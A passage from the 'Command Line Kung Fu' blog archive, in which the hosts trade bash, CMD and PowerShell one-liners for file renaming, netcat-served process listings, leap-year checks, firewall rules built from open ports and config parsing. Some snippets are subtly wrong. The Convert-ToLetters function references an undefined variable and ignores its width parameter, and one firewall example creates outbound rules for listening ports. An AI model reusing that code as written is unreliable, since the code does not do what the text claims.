<p>Like <a href="http://blog.commandlinekungfu.com/2013/09/episode-170-fearless-forensic-file-fu.html" target="_blank">Episode #170</a>, I'm using a counter variable named $c to track the numeric file extension. So, for all you computer science nerds, this is a rather weird looping construct because I'm using three different loop control variables. And weird is how I roll.</p>
<p>Inside the loop, I re-use the code from <a href="http://blog.commandlinekungfu.com/2013/09/episode-170-fearless-forensic-file-fu.html" target="_blank">Episode #170</a> to format $c as our three-digit file extension (saved in variable $ext) and auto-increment $c in the same expression. Then I check to see if "file.$ext" exists. If we have a "file.$ext", then we rename it to "file$l1$l2" ("fileaa", "fileab", etc). If "file.$ext" does not exist, then we've run out of "file.xxx" pieces and we can stop looping. "break 2" breaks out of both enclosing loops and terminates our command line.</p>
<p>And there you go. I hope Tim has as much fun as I did with this. I bet he'd have even more fun if I made him do it in CMD.EXE. Frankly all that PowerShell has made him a bit sloppy...</p>
<span style="font-size: medium;">Tim mails this one in just in time from Abu Dhabi</span>
<p>Wow, CMD huh? That trip to Scriptistan must have made him crazy. I think a CMD version of this would violate the laws of physics.</p>
<p>I'm on the other side of the world looking for Nermal in Abu Dhabi. Technically, it is May 1 here, but since the publication date shows April I think this counts as our April post. At least, that is the story I'm sticking to.</p>
<p>Sadly, I too will have to enter Scriptistan. I have a visa for a long stay on this one. I'll start by using a function to convert a number to Base26. The basis of this function is taken from <a href="http://www.justaprogrammer.net/2012/01/09/using-powershell-to-represent-base-26-as-the-uppercase-english-alphabet/">here</a>. I modified the function so we could add leading A's to adjust the width.</p>
<pre>function Convert-ToLetters ([parameter(Mandatory=$true,ValueFromPipeline=$true)][int] $Value, [int]$MinWidth=0) {
$currVal = $Value
if ($LeadingDigits -gt 0) { $currVal = $currVal + [int][Math]::Pow(26, $LeadingDigits) }
$returnVal = '';
while ($currVal -ge 26) {
$returnVal = [char](($currVal) % 26 + 97) + $returnVal;
$currVal = [int][math]::Floor($currVal / 26)
}
$returnVal = [char](($currVal) + 64) + $returnVal;
return $returnVal
}</pre>
<p>This allows me to <s>cheat</s> greatly simplify the renaming process.</p>
<pre>PS C:\> <strong>ls file.* | % { move $_ "file.$(Convert-ToLetters [int]$_.Extension.Substring(1) -MinWidth 3 )" }</strong></pre>
<p>This command will read the files starting with "file.", translate the extension in to Base26 (letters), and rename the file. The minimum width is configurable as well, so file.001 could be file.a, file.aa, file.aaa, etc. Also, this version will support more than 26^2 files.</p>Hal Pomeranzhttp://www.blogger.com/profile/16077688334830112926noreply@blogger.comtag:blogger.com,1999:blog-6849015258802781139.post-49496917148227867092014-03-31T05:00:00.000-04:002014-03-31T05:00:02.659-04:00Episode #176: Step Up to the WMIC<span style="font-size: medium;">Tim grabs the mic:</span>
<p>Michael Behan writes in:</p>
<p><i>Perhaps you guys can make this one better. Haven’t put a ton of thought into it:</i></p>
<pre>C:\> <strong>(echo HTTP/1.0 200 OK & wmic process list full /format:htable) | nc -l -p 3000</strong></pre>
<p><i>Then visit http://127.0.0.1:3000</p>
<p>This could of course be used to generate a lot more HTML reports via wmic that are quick to save from the browser. The downside is that in its current state is that the page can only be visited once. Adding something like /every:5 just pollutes the web page with mostly duplicate output.</i></p>
<p>Assuming you already have netcat (nc.exe) on the system the command above will work fine, but it will only work once. After the browser recieves the data the connection has been used and the command is done. To do this multiple times you must wrap it in an infinite For loop.</p>
<pre>C:\> <strong>for /L %i in (1, 0, 2) do (echo HTTP/1.0 200 OK & wmic process list full /format:htable) | nc -l -p 3000</strong></pre>
<p>This will count from 1 to 2 and count by 0, which will never happen (except for <a href="http://www.instantrimshot.com/">very large values of 0</a>). We could use the wmic command to request this information from the remote machine and view it in our browser. This method will authenticate to the remote machine instead of allowing anyone to access the information.</p>
<pre>C:\> <strong>wmic /node:joelaptop process list full /format:htable > joelaptopprocesses.html && start joelaptopprocesses.html</strong></pre>
<p>This will use your current credentials to authenticate to the remote machine, request the remote process in html format, save it to a file, and finally open the file in your default viewer (likely your browser). If you need to use separate credentials you can specify /user:myusername and /password:myP@assw0rd.</p>
<p>Hal, your turn, and I want to see this in nice HTML format. :)</p>
<span style="font-size: medium;">Hal throws up some jazz hands:</span>
<p>Wow. Tim seems a little grumpy. Maybe it's because he can make a simple web server on the command line but has no way to actually request data from it via the command line. Don't worry Little Tim, maybe someday...</p>
<p>Heck, maybe Tim's grumpy because of the dumb way he has to code infinite loops in CMD.EXE. This is a lot easier:</p>
<pre>$ <b>while :; do ps -ef | nc -l 3000; done</b></pre>
<p>Frankly, most browsers will interpret this as "text/plain" by default and display the output correctly.</p>
<p>But the above loop got me thinking that we could actually stack multiple commands in sequence:</p>
<pre><b>while :; do
ps -ef | nc -l 3000
netstat -anp | nc -l 3000
df -h | nc -l 3000
...
done</b></pre>
<p>Each connection will return the output of a different command until you eventually exhaust the list and start all over again with the first command.</p>
<p>OK, now let's deal with grumpy Tim's request for "nice HTML format". Nothing could be easier, my friends:</p>
<pre>$ <b>while :; do (echo '<pre>'; ps -ef; echo '</pre>') | nc -l 3000; done</b></pre>
<p>Hey, it's accepted by every major browser I tested it with! And that's the way we do it downtown... <i>(Hal drops the mic)</i></p>Tim Medin @timmedinhttp://www.blogger.com/profile/15437442280236308195noreply@blogger.comtag:blogger.com,1999:blog-6849015258802781139.post-73804278539662206822014-02-28T05:00:00.000-05:002014-02-28T05:00:03.945-05:00Episode #175: More Time! We Need More Time!<span style="font-size: medium;">Tim leaps in</span>
<p>Every four years (or so) we get an extra day in February, leap year. When I was a kid this term confused me. Frogs leap, they leap over things. A leap year should be shorter! Obviously, I was wrong.</p>
<p>This extra day can give us extra time to complete tasks (e.g. write blog post), so we are going to use our shells to check if the current year is a leap year.</p>
<pre>PS C:\> <strong>[DateTime]::IsLeapYear(2014)</strong>
False</pre>
<p>Sadly, this year we do not have extra time. Let's confirm that this command does indeed work by checking a few other years.</p>
<pre>PS C:\> <strong>[DateTime]::IsLeapYear(2012)</strong>
True
PS C:\> <strong>[DateTime]::IsLeapYear(2000)</strong>
True
PS C:\> <strong>[DateTime]::IsLeapYear(1900)</strong>
False</pre>
<p>Wait a second! Something is wrong. The year 1900 is a multiple of 4, why is it not a leap year?</p>
<p>The sun does not take exactly 365.25 days to get around the sun, it is actually 365.242199 days. This means that if we always leaped every four years we would slowly get off course. So every 100 years we skip the leap year.</p>
<p>Now you are probably wondering why 2000 had a leap year. That is because it is actually the exception to the exception. Every 400 years we skip skipping the leap year. What a cool bit of trivia, huh?</p>
<p>Hal, how jump is your shell?</p>
<span style="font-size: medium;">Hal jumps back</span>
<p>I should have insisted Tim do this one in CMD.EXE. Isn't is nice that PowerShell has a IsLeapYear() built-in? Back in my day, we didn't even have zeroes! We had to bend two ones together to make zeroes! Up hill! Both ways! In the snow!</p>
<p>Enough reminiscing. Let's make our own IsLeapYear function in the shell:</p>
<pre>
function IsLeapYear {
year=${1:-$(date +%Y)};
[[ $(($year % 400)) -eq 0 || ( $(($year % 4)) -eq 0 && $(($year % 100)) -ne 0 ) ]]
}
</pre>
<p>There's some fun stuff in this function. First we check to see if the function is called with an argument ("${1-..."). If so, then that's the year we'll check. Otherwise we check the current year, which is the value returned by "$(date +%Y)".</p>
<p>The other line of the function is the standard algorithm for figuring leap years. It's a leap year if the year is evenly divisible by 400, or divisible by 4 and not divisible by 100. Since shell functions return the value of the last command or expression executed, our function returns whether or not it's a leap year. Nice and easy, huh?</p>
<p>Now we can run some tests using our IsLeapYear function, just like Tim did:</p>
<pre>
$ <b>IsLeapYear && echo Leaping lizards! || echo Arf, no</b>
Arf, no
$ <b>IsLeapYear 2012 && echo Leaping lizards! || echo Arf, no</b>
Leaping lizards!
$ <b>IsLeapYear 2000 && echo Leaping lizards! || echo Arf, no</b>
Leaping lizards!
$ <b>IsLeapYear 1900 && echo Leaping lizards! || echo Arf, no</b>
Arf, no
</pre>
<p>Assuming the current year is not a Leap Year, we could even wrap a loop around IsLeapYear to figure out the next leap year:</p>
<pre>
$ <b>y=$(date +%Y); while :; do IsLeapYear $((++y)) && break; done; echo $y</b>
2016
</pre>
<p>We begin by initializing $y to the current year. Then we go into an infinte loop ("while :; do..."). Inside the loop we add one to $y and call IsLeapYear. If IsLeapYear returns true, then we "break" out of the loop. When the loop is all done, simply echo the last value of $y.</p>
<p>Stick that in your PowerShell pipe and smoke it, Tim!</p>Tim Medin @timmedinhttp://www.blogger.com/profile/15437442280236308195noreply@blogger.comtag:blogger.com,1999:blog-6849015258802781139.post-4658267735133956572014-01-28T05:00:00.000-05:002014-01-28T05:00:07.015-05:00Episode #174: Lightning Lockdown<span style="font-size: medium;">Hal firewalls fast</span>
<p>Recently a client needed me to quickly set up an IP Tables firewall on a production server that was effectively open on the Internet. I knew very little about the machine, and we couldn't afford to break any of the production traffic to and from the box.</p>
<p>It occurred to me that a decent first approximation would be to simply look at the network services currently in use, and create a firewall based on that. The resulting policy would probably be a bit more loose than it needed to or should be, but it would be infinitely better than no firewall at all!</p>
<p>I went with lsof, because I found the output easier to parse than netstat:</p>
<pre># <b>lsof -i -nlP | awk '{print $1, $8, $9}' | sort -u</b>
COMMAND NODE NAME
httpd TCP *:80
named TCP 127.0.0.1:53
named TCP 127.0.0.1:953
named TCP [::1]:953
named TCP 150.123.32.3:53
named UDP 127.0.0.1:53
named UDP 150.123.32.3:53
ntpd UDP [::1]:123
ntpd UDP *:123
ntpd UDP 127.0.0.1:123
ntpd UDP 150.123.32.3:123
ntpd UDP [fe80::baac:6fff:fe8e:a0f1]:123
ntpd UDP [fe80::baac:6fff:fe8e:a0f2]:123
portreser UDP *:783
sendmail TCP 150.123.32.3:25
sendmail TCP 150.123.32.3:25->58.50.15.213:1526
sendmail TCP *:587
sshd TCP *:22
sshd TCP 150.123.32.3:22->121.28.56.2:39054</pre>
<p>I could have left off the process name, but it helped me decide which ports were important to include in the new firewall rules. Honestly, the output above was good enough for me to quickly throw together some workable IP Tables rules. I simply saved the output to a text file and hacked things together with a text editor.</p>
<p>But maybe you only care about the port information:</p>
<pre># <b>lsof -i -nlP | awk '{print $9, $8, $1}' | sed 's/.*://' | sort -u</b>
123 UDP ntpd
1526 TCP sendmail
22 TCP sshd
25 TCP sendmail
39054 TCP sshd
53 TCP named
53 UDP named
587 TCP sendmail
783 UDP portreser
80 TCP httpd
953 TCP named
NAME NODE COMMAND</pre>
<p>Note that I inverted the field output order, just to make my sed a little easier to write</p>
<p>If you wanted to go really crazy, you could even create and load the actual rules on the fly. I don't recommend this at all, but it will make Tim's life harder in the next section, so here goes:</p>
<pre>lsof -i -nlP | tail -n +2 | awk '{print $9, $8}' |
sed 's/.*://' | sort -u | tr A-Z a-z |
while read port proto; do ufw allow $port/$proto; done</pre>
<p>I added a "tail -n +2" to get rid of the header line. I also dropped the command name from my awk output. There's a new "tr A-Z a-z" in there to lower-case the protocol name. Finally we end with a loop that takes the port and protocol and uses the ufw command line interface to add the rules. You could do the same with the iptables command and its nasty syntax, but if you're on a Linux distro with UFW, I strongly urge you to use it!</p>
<p>So, Tim, I figure you can parse netstat output pretty easily. How about the command-line interface to the Windows firewall? Remember, adversity builds character...</p>
<span style="font-size: medium;">Tim builds character</span>
<p>When I first saw this I thought, "Man, this is going to be easy with the new cmdlets in PowerShell v4!" There are a lot of new cmdlets available in PowerShell version 4, and both Windows 8.1 and Server 2012R2 ship with PowerShell version 4. In addition, PowerShell version 4 is available for Windows 7 SP1 (and later) and Windows Server 2008 R2 SP1 (and later).</p>
<p>The first cmdlet that will help us out here is Get-NetTCPConnection. According to the help page this cmdlet "gets current TCP connections. Use this cmdlet to view TCP connection properties such as local or remote IP address, local or remote port, and connection state." This is going to be great! But...</p>
<p>It doesn't mention the process ID or process name. Nooooo! This can't be. Let's look at all the properties of the output objects.</p>
<p><pre>PS C:\> <b>Get-NetTCPConnection | Format-List *</b>
State : Established
AppliedSetting : Internet
Caption :
Description :
ElementName :
InstanceID : 192.168.1.167++445++10.11.22.33++49278
CommunicationStatus :
DetailedStatus :
HealthState :
InstallDate :
Name :
OperatingStatus :
OperationalStatus :
PrimaryStatus :
Status :
StatusDescriptions :
AvailableRequestedStates :
EnabledDefault : 2
EnabledState :
OtherEnabledState :
RequestedState : 5
TimeOfLastStateChange :
TransitioningToState : 12
AggregationBehavior :
Directionality :
LocalAddress : 192.168.1.167
LocalPort : 445
RemoteAddress : 10.11.22.33
RemotePort : 49278
PSComputerName :
CimClass : ROOT/StandardCimv2:MSFT_NetTCPConnection
CimInstanceProperties : {Caption, Description, ElementName, InstanceID...}
CimSystemProperties : Microsoft.Management.Infrastructure.CimSystemProperties</pre>
<p>Dang! This will get most of what we want (where "want" was defined by that Hal guy), but it won't get the process ID or the process name. So much for rubbing the new cmdlets in his face.</p>
<p> Let's forget about Hal for a second and get what we can with this cmdlet.</p>
<pre>PS C:\> <b>Get-NetTCPConnection | Select-Object LocalPort | Sort-Object -Unique LocalPort</b>
LocalPort
---------
135
139
445
3587
5357
49152
49153
49154
49155
49156
49157
49164</pre>
<p>This is helpful for getting a list of ports, but not useful for making decisions about what should be allowed. Also, we would need to run Get-NetUDPEndpoint to get the UDP connections. This is so close, yet so bloody far. We have to resort to the old school netstat command and the -b option to get the executable name. In <a href="http://blog.commandlinekungfu.com/2010/11/episode-123-bad-connections.html">episode 123</a> we needed parsed netstat output. I recommended the <a href="http://poshcode.org/560">Get-Netstat script</a> available at poshcode.org. Sadly, we are going to have to resort to that again. With this script we can quickly get the port, protocol, and process name.</p>
<pre>PS C:\> <b>.\get-netstat.ps1 | Select-Object ProcessName, Protocol, LocalPort |
Sort-Object -Unique LocalPort, Protocol, ProcessName</b>
ProcessName Protocol Localport
----------- -------- ---------
svchost TCP 135
System UDP 137
System UDP 138
System TCP 139
svchost UDP 1900
svchost UDP 3540
svchost UDP 3544
svchost TCP 3587
dasHost UDP 3702
svchost UDP 3702
System TCP 445
svchost UDP 4500
...</pre>
<p>It should be pretty obvious that the port 137-149 and 445 should not be accessible from the internet. We can filter these ports out so that we don't allow these ports through the firewall.</p>
<pre>PS C:\> <b>... | Where-Object { (135..139 + 445) -NotContains $_.LocalPort }</b>
ProcessName Protocol Localport
----------- -------- ---------
svchost UDP 1900
svchost UDP 3540
svchost UDP 3544
svchost TCP 3587
dasHost UDP 3702
svchost UDP 3702
svchost UDP 4500
...</pre>
<p>Now that we have the ports and protocols we can create new firewall rules using the new New-NetFirewallRule cmdlet. Yeah!</p>
<pre>PS C:\> <b>.\get-netstat.ps1 | Select-Object Protocol, LocalPort | Sort-Object -Unique * |
Where-Object { (135..139 + 445) -NotContains $_.LocalPort } |
ForEach-Object { New-NetFirewallRule -DisplayName AllowedByScript -Direction Outbound
-Action Allow -LocalPort $_.LocalPort -Protocol $_.Protocol }</b>
Name : {d15ca484-5d16-413f-8460-a29204ff06ed}
DisplayName : AllowedByScript
Description :
DisplayGroup :
Group :
Enabled : True
Profile : Any
Platform : {}
Direction : Outbound
Action : Allow
EdgeTraversalPolicy : Block
LooseSourceMapping : False
LocalOnlyMapping : False
Owner :
PrimaryStatus : OK
Status : The rule was parsed successfully from the store. (65536)
EnforcementStatus : NotApplicable
PolicyStoreSource : PersistentStore
PolicyStoreSourceType : Local
...</pre>
<p>These new firewall cmdlets really make things easier, but if you don't have PowerShellv4 you can still use the old netsh command to add the firewall rules. Also, the Get-Netstat will support older version of PowerShell as well, so this is nicely backwards compatible. All we need to do is replace the command inside the ForEach-Object cmdlet's script block.</p>
<pre>PS C:\> <b>... | ForEach-Object { netsh advfirewall firewall add rule
name="AllowedByScript" dir=in action=allow protocol=$_.Protocol
localport=$_.LocalPort }</b></pre>Hal Pomeranzhttp://www.blogger.com/profile/16077688334830112926noreply@blogger.comtag:blogger.com,1999:blog-6849015258802781139.post-10664870063501156522013-12-31T05:00:00.000-05:002013-12-31T05:00:09.209-05:00Episode #173: Tis the Season<span style="font-size: medium;">Hal finds some cheer</span>
<br />
From somewhere near the borders of scriptistan, we send you:<br />
<pre>function t {
for ((i=0; $i < $1; i++)); do
s=$((8-$i)); e=$((8+$i));
for ((j=0; j <= $e; j++)); do [ $j -ge $s ] && echo -n '^' || echo -n ' '; done;
echo;
done
}
function T {
for ((i=0; $i < $1; i++)); do
for ((j=0; j < 10; j++)); do [ $j -ge 7 ] && echo -n '|' || echo -n ' '; done;
echo;
done
echo
}
t 3; t 5; t 7; T 2; echo -e "Season's Greetings\n from CLKF"
</pre>
<pre></pre>
<span style="font-size: medium;"><br /></span>
<span style="font-size: medium;">Ed comes in out of the cold:</span>
<br />
<p>Gosh, I missed you guys. It's nice to be home with my CLKF family for the holidays. I brought you a present:</p>
<pre>c:\>cmd.exe /v:on /c "echo. & echo A Christmas present for you: & color 24 &
echo. & echo 0x0& for /L %a in (1,1,11) do @(for /L %b in (1,1,10) do @ set /a
%b%2) & echo 1"& echo. & echo Merry Christmas!</pre>
<span style="font-size: medium;"><br /></span>
<span style="font-size: medium;">Tim awaits the new year:</span>
<p>Happy New Year from within the borders of Scriptistan!</p>
<pre>
Function Draw-Circle {
Param( $Radius, $XCenter, $YCenter )
for ($x = -$Radius; $x -le $Radius ; $x++) {
$y = [int]([math]::sqrt($Radius * $Radius - $x * $x))
Set-CursorLocation -X ($XCenter + $x) -Y ($YCenter + $y)
Write-Host "*" -ForegroundColor Blue -NoNewline
Set-CursorLocation -X ($XCenter + $x) -Y ($YCenter - $y)
Write-Host "*" -ForegroundColor Blue -NoNewline
}
}
Function Draw-Hat {
Param( $XCenter, $YTop, $Height, $Width, $BrimWidth )
$left = Round($XCenter - ($Width / 2))
$row = "#" * $Width
for ($y = $YTop; $y -lt $YTop + $Height - 1; $y++) {
Set-CursorLocation -X $left -Y $y
Write-Host $row -ForegroundColor Black -NoNewline
}
Set-CursorLocation -X ($left - $BrimWidth) -Y ($YTop + $Height - 1)
$row = "#" * ($Width + 2 * $BrimWidth)
Write-Host $row -ForegroundColor Black -NoNewline
}
Function Set-CursorLocation {
Param ( $x, $y )
$pos = $Host.UI.RawUI.CursorPosition
$pos.X = $x
$pos.Y = $y
$Host.UI.RawUI.CursorPosition = $pos
}
Function Round {
Param ( $int )
# Stupid banker's rounding
return [Math]::Round( $int, [MidpointRounding]'AwayFromZero' )
}
Clear-Host
Write-Host "Happy New Year!"
Draw-Circle -Radius 4 -XCenter 10 -YCenter 8
Draw-Circle -Radius 5 -XCenter 10 -YCenter 17
Draw-Circle -Radius 7 -XCenter 10 -YCenter 29
Draw-Hat -XCenter 10 -YTop 2 -Height 5 -Width 7 -BrimWidth 2
Set-CursorLocation -X 0 -Y 38
</pre>
Hal Pomeranzhttp://www.blogger.com/profile/16077688334830112926noreply@blogger.comtag:blogger.com,1999:blog-6849015258802781139.post-83777443251103493242013-11-26T04:18:00.000-05:002013-11-26T04:22:50.304-05:00Episode #172: Who said bigger is better?<p><span style="font-size: medium;">Tim sweats the small stuff</span></p>
<p>Ted S. writes in:</p>
<p><i>"I have a number of batch scripts which turn a given input file into a configurable amount of versions, all of which will contain identical data content, but none of which, ideally, contain the same byte content. My problem is, how do I, using *only* XP+ cmd (no other scripting - PowerShell, jsh, wsh, &c), replace the original (optionally backed up) with the smallest of the myriad versions
produced by the previous batch runs?"</i></p>
<p>This is pretty straight forward, but it depends on what we want to do with the files. I assumed that the larger files should be deleted since they are redundant. This will leave us with only the smallest file in the directory. Let's start off by listing all the files in the current directory and sort them by size.</p>
<pre>C:\> <strong>dir /A-D /OS /b</strong>
file3.txt
file2.txt
file1.txt
file4.txt</pre>
<p>Sorting the files, and only files, in the current directory by size is pretty easy. The "/A" option filters on the object's properties and directories are filtered out with "-D". Next, the "/O" option is used to sort and the "S" tells the command to sort putting the smallest files first. Finally, the "/b" is used to show the bare format.</p>
<p>At this point we have the files in the proper order and in a nice light format. We can now use a For loop to delete everything while skipping the first file.</p>
<pre>C:\> <strong>for /F "tokens=* skip=1" %i in ('dir /A-D /OS /b') do @del %i</strong></pre>
<p>Here is the same functionality in PowerShell:</p>
<pre>PS C:\> <strong>Get-ChildItem | Where-Object { -not $_.PSIsContainer } | Sort-Object -Property Length | Select-Object -Skip 1 | Remove-Item</strong></pre>
<p>This is mostly readable. The only exception is the "PSIsContainer". Directories are container objects but files are not, so we filter out the containers (directories). Here is the same command shortented using aliases and positional parameters:</p>
<pre>PS C:\> <strong>ls | ? { !$_.PSIsContainer } | sort Length | select -skip 1 | rm</strong></pre>
<p>There you go Ted, and in PowerShell even though you didn't want it. Here comes Hal brining something even smaller you don't want.</p>
<p><span style="font-size: medium;">Hal's is smaller than Tim's... but less sweaty</span></p>
<p>Tim, how many times do I have to tell you, smaller is better when it comes to command lines:</p>
<pre>ls -Sr | tail -n +2 | xargs rm</pre>
<p>It's actually not that different from Tim's PowerShell solution, except that my "ls" command has "-S" to sort by size as a built-in. We use the "-r" flag to reverse the sort, putting the smallest file first and skipping it with "tail -n +2".</p>
<p>If you're worried about spaces in the file names, we could tart this one up a bit more:</p>
<pre>ls -Sr | tail -n +2 | tr \\n \\000 | xargs -0 rm</pre>
<p>After I use "tail" to get rid of the first, smallest file, I use "tr" to convert the newlines to nulls. That allows me to use the "-0" flag to "xargs" to split the input on nulls, and preserves the spaces in the input file names.</p>
<p>What may be more interesting about this Episode is the command line I used to create and re-create my files for testing. First I made a text file with lines like this:</p>
<pre>1 3
2 4
3 1
4 2</pre>
<p>And then I whipped up a little loop action around the "dd" command:</p>
<pre>$ <b>while read file size; do
dd if=/dev/zero bs=4K count=$size of=file$file;
done <../input.txt</b>
3+0 records in
3+0 records out
12288 bytes (12 kB) copied, 6.1259e-05 s, 201 MB/s
4+0 records in
4+0 records out
16384 bytes (16 kB) copied, 0.000144856 s, 113 MB/s
1+0 records in
1+0 records out
4096 bytes (4.1 kB) copied, 3.4961e-05 s, 117 MB/s
2+0 records in
2+0 records out
8192 bytes (8.2 kB) copied, 4.3726e-05 s, 187 MB/s</pre>
<p>Then I just had to re-run the loop whenever I wanted to re-create my test files after deleting them.</p>Tim Medin @timmedinhttp://www.blogger.com/profile/15437442280236308195noreply@blogger.comtag:blogger.com,1999:blog-6849015258802781139.post-1178637688508247282013-10-08T05:00:00.000-04:002013-10-08T05:00:10.300-04:00Episode #171: Flexibly Finding Firewall Phrases <span style="font-size: medium;">Old Tim answers an old email</span>
<p>Patrick Hoerter writes in:<br/>
<i>I have a large firewall configuration file that I am working with. It comes from that vendor that likes to prepend each product they sell with the same "well defended" name. Each configuration item inside it is multiple lines starting with "edit" and ending with "next". I'm trying to extract only the configuration items that are in some way tied to a specific port, in this case "port10".</i><p>
<p>Sample Data:</p>
<pre>edit "port10"
set vdom "root"
set ip 192.168.1.54 255.255.255.248
set allowaccess ping
set type physical
set sample-rate 400
set description "Other Firewall"
set alias "fw-outside"
set sflow-sampler enable
next
edit "192.168.0.0"
set subnet 192.168.0.0 255.255.0.0
next
edit "10.0.0.0"
set subnet 10.0.0.0 255.0.0.0
next
edit "172.16.0.0"
set subnet 172.16.0.0 255.240.0.0
next
edit "vpn-CandC-1"
set associated-interface "port10"
set subnet 10.254.153.0 255.255.255.0
next
edit "vpn-CandC-2"
set associated-interface "port10"
set subnet 10.254.154.0 255.255.255.0
next
edit "vpn-CandC-3"
set associated-interface "port10"
set subnet 10.254.155.0 255.255.255.0
next
edit 92
set srcintf "port10"
set dstintf "port1"
set srcaddr "vpn-CandC-1" "vpn-CandC-2" "vpn-CandC-3"
set dstaddr "all"
set action accept
set schedule "always"
set service "ANY"
set logtraffic enable
next
</pre>
<p>Sample Results:<p>
<pre>edit "port10"
set vdom "root"
set ip 192.168.1.54 255.255.255.248
set allowaccess ping
set type physical
set sample-rate 400
set description "Other Firewall"
set alias "fw-outside"
set sflow-sampler enable
next
edit "vpn-CandC-1"
set associated-interface "port10"
set subnet 10.254.153.0 255.255.255.0
next
edit "vpn-CandC-2"
set associated-interface "port10"
set subnet 10.254.154.0 255.255.255.0
next
edit "vpn-CandC-3"
set associated-interface "port10"
set subnet 10.254.155.0 255.255.255.0
next
edit 92
set srcintf "port10"
set dstintf "port1"
set srcaddr "vpn-CandC-1" "vpn-CandC-2" "vpn-CandC-3"
set dstaddr "all"
set action accept
set schedule "always"
set service "ANY"
set logtraffic enable
next</pre>
<p>Patrick gave us the full text and the expected output. In short, he wants the text between "edit" and "next" if it contains the text "port10". To begin this task we need to first need get each of the edit/next chunks.</p>
<pre>PS C:\> <strong>((cat fw.txt) -join "`n") | select-string "(?s)edit.*?next" -AllMatches |
select -ExpandProperty matches</strong></pre>
<p>This command will read the entire file fw.txt and combine it into one string. Normally, each line is treated as a separate object, but we are going to join them into a big string using the newline (`n) to join each line. Now that the text is one big string we can use Select-String with a regular expression to find all the matches. The regular expression will find text across line breaks and allows for very flexible searches so we can find our edit/next chunks. Here is a break down of the pieces of the regular expression:</p>
<ul>
<li>(?s) - Use single line mode where the dot (.) will match any character, including a newline character. This allows us to match text across multiple lines.</li>
<li>edit - the literal text "edit"</li>
<li>.*? - find any text, but be <a href="http://stackoverflow.com/questions/2301285/what-do-lazy-and-greedy-mean-in-the-context-of-regular-expressions">lazy, not greedy</a>. This means it should match the smallest chunks that will match the criteria.</li>
<li>next - literal text next</li>
</ul>
<p>Now that we have the chunks we use a Where-Object filter (alias ?) to find matching objects to pass down the pipeline.</p>
<pre>PS C:\> <strong>((cat .\fw.txt) -join "`n") | select-string "(?s)edit.*?next" -AllMatches |
select -ExpandProperty matches | ? { $_.Captures | Select-String "port10" }</strong></pre>
<p>Inside the Where-Object filter we can check the Value property to see if it contains the text "port10". The Value property is piped into Select-String to look for the text "port10", and if it contains "port10" it continues down the pipeline, if not, it is dropped.</p>
<p>At this point, we have the objects we want, so all we need to do is display the results by expanding the Value and displaying it again. The expansion means that it just displays the text and no data or metadata associated with the parent object. Here is what the final command looks like.</p>
<pre>PS C:\> <strong>((cat .\fw.txt) -join "`n") | select-string "(?s)edit.*?next" -AllMatches |
select -ExpandProperty matches | ? { $_.Value | Select-String "port10" } |
select -ExpandProperty Value</strong></pre>
<p>Not so bad, but I have a feeling it is going to be worse for my friend Hal.</p>
<span style="font-size: medium;">Old Hal uses some old tricks</span>
<p>Oh sure, I know what Tim's thinking here. "It's multi-line matching, and the Unix shell is lousy at that. Hal's in trouble now. Mwhahaha. The Command-Line Kung Fu title will finally be mine! Mine! Do you hear me?!? MINE!"</p>
<p>Uh-huh. Well how about this, old friend:</p>
<pre>awk -v RS=next -v ORS=next '/port10/' fw.txt</pre>
<p>While we're doing multi-line matching here, the blocks of text have nice regular delimiters. That means I can change the awk "record separator" ("RS") from newline to the string "next" and gobble up entire chunks at a time.</p>
<p>After that, it's smooth sailing. I just use awk's pattern-matching operator to match the "port10" strings. Since I don't have an action defined, "{print}" is assumed and we output the matching blocks of text.</p>
<p>The only tricky part is that I have to remember to change the "output record separator" ("ORS") to be "next". Otherwise, awk will use its default ORS value, which is newline. That would give me output like:</p>
<pre>
$ <b>awk -v RS=next '/port10/' fw.txt</b>
edit "port10"
set vdom "root"
set ip 192.168.1.54 255.255.255.248
set allowaccess ping
set type physical
set sample-rate 400
set description "Other Firewall"
set alias "fw-outside"
set sflow-sampler enable
edit "vpn-CandC-1"
set associated-interface "port10"
set subnet 10.254.153.0 255.255.255.0
edit "vpn-CandC-2"
set associated-interface "port10"
...
</pre>
<p>The "next" terminators get left out and we get extra lines in the output. But when ORS is set properly, we get exactly what we were after:</p>
<pre>
$ <b>awk -v RS=next -v ORS=next '/port10/' fw.txt</b>
edit "port10"
set vdom "root"
set ip 192.168.1.54 255.255.255.248
set allowaccess ping
set type physical
set sample-rate 400
set description "Other Firewall"
set alias "fw-outside"
set sflow-sampler enable
next
edit "vpn-CandC-1"
set associated-interface "port10"
set subnet 10.254.153.0 255.255.255.0
next
edit "vpn-CandC-2"
set associated-interface "port10"
...
</pre>
<p>So that wasn't bad at all. Sorry about that Tim. Maybe next time, old buddy.</p>
Tim Medin @timmedinhttp://www.blogger.com/profile/15437442280236308195noreply@blogger.comtag:blogger.com,1999:blog-6849015258802781139.post-42498571608149261522013-09-27T05:00:00.000-04:002013-10-01T10:40:38.594-04:00Episode #170: Fearless Forensic File Fu<span style="font-size: medium;">Hal receives a cry for help</span>
<p>Fellow forensicator Craig was in a bit of a quandary. He had a forensic image in "split raw" format-- a complete forensic image broken up into small pieces. Unfortunately for him, the pieces were named "fileaa", "fileab", "fileac", and so on while his <a href="http://computer-forensics.sans.org/blog/2010/09/15/dealing-split-raw-type-images" target="_blank">preferred tool</a> wanted the files to be named "file.001", "file.002", "file.003", etc. Craig wanted to know if there was an easy way to rename the files, using either Linux or the Windows shell.</p>
<p>This one's not too hard in Linux, and in fact it's a lot like something we did way back in <a href="http://blog.commandlinekungfu.com/2009/04/episode-26-renaming-files-with-regular.html" target="_blank">Episode #26</a>:</p>
<pre>c=1;
for f in file*; do
printf -v ext %03d $(( c++ ));
mv $f ${f/%[a-z][a-z]/.$ext};
done</pre>
<p>You could remove the newlines and make that one big long line, but I think it's a bit easier to read this way. First we initialize a counter variable $c to 1. Then we loop over each of the files in our split raw image.</p>
<p>The printf statement inside the loop formats $c as three digits, with however many leading zeroes are necessary ("%03d"). There are a couple of tricky bits in the printf though. First is we're assigning the output of printf to a variable $ext ("-v ext"). Second, we're doing a little arithmetic on $c at the same time and using the "++" operator to increment the value of $c each time through the loop-- that's the "$(( c++ ))" part.</p>
<p>Then we use mv to rename our file. I'm using the variable substitution operator like we did in <a href="http://blog.commandlinekungfu.com/2009/04/episode-26-renaming-files-with-regular.html" target="_blank">Episode #26</a>. The format again is "${var/pattern/substitution}" and here the "%" after the first slash means "match at the end of the string". So I'm replacing the last two letters in the file name with a dot followed by our $ext value. And that's exactly what Craig wanted!</p>
